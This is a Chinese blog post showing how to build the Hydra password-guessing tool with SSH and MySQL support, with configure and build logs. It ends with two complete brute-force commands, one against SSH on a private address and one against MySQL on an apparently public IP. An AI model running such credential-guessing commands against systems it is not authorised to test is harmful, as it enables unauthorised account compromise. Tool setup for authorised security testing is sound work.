您的位置:首页 > 理论基础 > 计算机网络

hydra暴力破解SSH、HTTP、MySQL等密码

2014-05-20 20:01 495 查看
[root@srv-dfh526 hydra-7.6]#yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel mysql-devel
[root@srv-dfh526 hydra-7.6]# ./configure  -h
Options:
--prefix=path              path to install hydra and its datafiles to
--with-oracle=prefix       prefix for oracle include dir
--with-oracle-lib=prefix   prefix for oracle lib dir
--disable-xhydra           disable compilation of hydra GUI
--nostrip                  do not per default strip binaries before install
--help                     this here
[root@srv-dfh526 bin]# cd /root/install/hydra-7.6
[root@srv-dfh526 hydra-7.6]# ./configure
Starting hydra auto configuration ...
Detected 64 Bit Linux OS
Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
... found
Checking for idn (libidn.so) ...
... found
Checking for curses (libcurses.so / term.h) ...
... found, color output enabled
Checking for pcre (libpcre.so, pcre.h) ...
... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for MYSQL client (libmysqlclient.so, math.h) ...
... found
Checking for AFP (libafpclient.so) ...
... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh disabled
Get it from http://www.libssh.org Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html Checking for GUI req's (pkg-config, gtk+-2.0) ...
... found
Checking for Android specialities ...
... rindex() found
... RSA_generate_key() found
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"
[root@srv-dfh526 bin]# make
[root@srv-dfh526 bin]# make install

一个猜解神奇,安装了尝试破解ssh发现缺少libssh模块。

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
在记性了ssh安装以后,发现依然无法正确运行。

思考下认为是模块未被已经编译的hydra加载的缘故,所以进入安装包hydra-7.6 然后 make clean 再重新安装。

发现可以运行成功

hydra -L user.txt -P pass.txt -o savessh.log -f -vV -e ns 10.0.5.24 ssh
hydra -L user.txt -P sup.txt -o savessh.log -f -vV -e ns 113.105.144.130 mysql


本文出自 “梦朝思夕” 博客,请务必保留此出处http://qiangmzsx.blog.51cto.com/2052549/1414360
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: